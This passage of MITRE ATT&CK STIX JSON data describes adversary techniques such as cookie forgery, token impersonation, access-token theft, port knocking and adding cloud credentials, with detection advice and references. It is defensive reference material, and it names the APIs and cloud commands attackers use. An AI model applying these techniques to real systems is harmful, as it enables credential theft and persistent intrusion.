HubSpot"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a","type":"attack-pattern","created":"2020-12-17T02:14:34.178Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1606.001","url":"https://attack.mitre.org/techniques/T1606/001"},{"description":"Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.","url":"https://wunderwuzzi23.github.io/blog/passthecookie.html","source_name":"Pass The Cookie"},{"source_name":"Volexity SolarWinds","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."},{"source_name":"Unit 42 Mac Crypto Cookies January 2019","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/","description":"Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019."}],"modified":"2021-09-20T16:48:28.041Z","name":"Web Cookies","description":"Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.\n\nAdversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.\n\nOnce forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Logon Session: Logon Session Creation","Web Credential: Web Credential Usage","Web Credential: Web Credential Creation"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","type":"attack-pattern","created":"2020-02-18T16:39:06.289Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1134.001","url":"https://attack.mitre.org/techniques/T1134/001"},{"url":"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing","description":"Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.","source_name":"Microsoft Command-line Logging"}],"modified":"2020-03-26T21:29:18.608Z","name":"Token Impersonation/Theft","description":"Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user's security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread.\n\nAn adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nAnalysts can also monitor for use of Windows APIs such as <code>DuplicateToken(Ex)</code>, <code> ImpersonateLoggedOnUser </code>, and <code> SetThreadToken </code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: OS API Execution"],"x_mitre_defense_bypassed":["Windows User Account Control","System access controls","File system access controls"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7","type":"attack-pattern","created":"2020-03-09T14:51:11.772Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1567.001","url":"https://attack.mitre.org/techniques/T1567/001"}],"modified":"2020-03-28T00:58:55.433Z","name":"Exfiltration to Code Repository","description":"Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to code repositories. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","File: File Access","Command: Command Execution","Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd","type":"attack-pattern","created":"2020-07-01T18:23:25.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1205.001","url":"https://attack.mitre.org/techniques/T1205/001"},{"url":"https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631","description":"Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.","source_name":"Hartrell cd00r 2002"}],"modified":"2022-03-11T18:31:23.996Z","name":"Port Knocking","description":"Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Connection Creation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","type":"attack-pattern","created":"2020-10-01T00:50:29.936Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1583.006","url":"https://attack.mitre.org/techniques/T1583/006"},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}],"modified":"2021-10-17T15:45:01.956Z","name":"Web Services","description":"Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Content"]},{"x_mitre_platforms":["SaaS","Office 365","Azure AD","Google Workspace","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Suzy Schapperle - Microsoft Azure Red Team","Shailesh Tiwary (Indian Army)","Mark Wee","Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)","Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)","Ram Pliskin, Microsoft Azure Security Center","Jen Burns, HubSpot"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a","created":"2019-09-04T15:54:25.684Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1528","url":"https://attack.mitre.org/techniques/T1528"},{"source_name":"Amnesty OAuth Phishing Attacks, August 2019","url":"https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/","description":"Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019."},{"source_name":"Auth0 Understanding Refresh Tokens","url":"https://auth0.com/learn/refresh-tokens/","description":"Auth0 Inc.. (n.d.). Understanding Refresh Tokens. Retrieved December 16, 2021."},{"source_name":"Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019","url":"https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/","description":"Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019."},{"source_name":"Trend Micro Pawn Storm OAuth 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks","description":"Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019."},{"source_name":"Kubernetes Service Accounts","url":"https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/","description":"Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022."},{"source_name":"Microsoft - Azure AD Identity Tokens - Aug 2019","url":"https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens","description":"Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019."},{"source_name":"Microsoft - Azure AD App Registration - May 2019","url":"https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app","description":"Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019."},{"source_name":"Microsoft - OAuth Code Authorization flow - June 2019","url":"https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow","description":"Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019."},{"source_name":"Microsoft Identity Platform Protocols May 2019","url":"https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols","description":"Microsoft. (n.d.). Retrieved September 12, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nIn Kubernetes environments, processes running inside a container communicate with the Kubernetes API server using service account tokens. If a container is compromised, an attacker may be able to steal the container’s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts)\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nApplication access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user.  \n\n","modified":"2022-04-21T16:25:11.482Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Steal Application Access Token","x_mitre_detection":"Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a “High severity app permissions” policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.\n\nSecurity analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app’s purpose, or apps with old “Last authorized” fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.\n\nAdministrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["User Account: User Account Modification"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Philip Winther","Sebastian Salla, McAfee","Robert Simmons, @MalwareUtkonos"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc","type":"attack-pattern","created":"2020-10-02T17:08:57.386Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1598.002","url":"https://attack.mitre.org/techniques/T1598/002"},{"source_name":"Sophos Attachment","url":"https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/","description":"Ducklin, P. (2020, October 2). Serious Security: Phishing without links – when phishers bring along their own web pages. Retrieved October 20, 2020."},{"source_name":"GitHub Phishery","url":"https://github.com/ryhanson/phishery","description":"Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020."},{"source_name":"Microsoft Anti Spoofing","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."},{"source_name":"ACSC Email Spoofing","url":"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."}],"modified":"2021-04-15T03:41:33.335Z","name":"Spearphishing Attachment","description":"Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Application Log: Application Log Content","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["IaaS","Azure AD","SaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Expel","Oleg Kolesnikov, Securonix","Jannie Li, Microsoft Threat Intelligence Center (MSTIC)"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd","created":"2020-01-19T16:10:15.008Z","x_mitre_version":"2.3","external_references":[{"source_name":"mitre-attack","external_id":"T1098.001","url":"https://attack.mitre.org/techniques/T1098/001"},{"source_name":"Expel IO Evil in AWS","url":"https://expel.io/blog/finding-evil-in-aws/","description":"A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020."},{"source_name":"Demystifying Azure AD Service Principals","url":"https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/","description":"Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020."},{"source_name":"GCP SSH Key Add","url":"https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add","description":"Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020."},{"source_name":"Blue Cloud of Death Video","url":"https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815","description":"Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019."},{"source_name":"Blue Cloud of Death","url":"https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1","description":"Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019."},{"source_name":"Microsoft SolarWinds Customer Guidance","url":"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/","description":"MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020."},{"source_name":"Expel Behind the Scenes","url":"https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/","description":"S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nAdversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)","modified":"2022-04-19T14:53:37.293Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Additional Cloud Credentials","x_mitre_detection":"Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["User Account: User Account Modification","Active Directory: Active Directory Object Modification"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","Windows","macOS","IaaS","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Oleg Skulkin, Group-IB"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","created":"2018-04-18T17:59:24.739Z","x_mitre_version":"1.5","external_references":[{"source_name":"mitre-attack","external_id":"T1204","url":"https://attack.mitre.org/techniques/T1204"},{"source_name":"Telephone Attack Delivery","url":"https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery","description":"Selena Larson, Sam Scholten, Timothy Kromphardt. (2021, November 4). Caught Beneath the Landline: A 411 on Telephone Oriented Attack Delivery. Retrieved January 5, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\n\nAdversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204). For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)","modified":"2022-04-19T20:31:15.373Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"User Execution","x_mitre_detection":"Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Application Log: Application Log Content","Command: Command Execution","Instance: Instance Start","Container: Container Creation","Image: Image Creation","Network Traffic: Network Traffic Content","Process: Process Creation","Instance: Instance Creation","Network Traffic: Network Connection Creation","File: File Creation","Container: Container Start"],"x_mitre_system_requirements":[],"x_mitre_remote_support":false,"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103","type":"attack-pattern","created":"2020-02-20T14:31:34.778Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1491.001","url":"https://attack.mitre.org/techniques/T1491/001"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"},{"source_name":"Novetta Blockbuster Destructive Malware","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"}],"modified":"2022-03-25T19:31:24.482Z","name":"Internal Defacement","description":"An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Monitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Application Log: Application Log Content","File: File Creation","Network Traffic: Network Traffic Content","File: File Modification"],"x_mitre_impact_type":["Integrity"]},{"x_mitre_platforms":["macOS","Windows","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Omkar Gudhate"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d","created":"2020-03-13T20:12:40.876Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1564.002","url":"https://attack.mitre.org/techniques/T1564/002"},{"source_name":"Cybereason OSX Pirrit","url":"https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf","description":"Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021."},{"source_name":"Apple Support Hide a User Account","url":"https://support.apple.com/en-us/HT203998","description":"Apple. (2020, November 30). Hide a user account in macOS. Retrieved 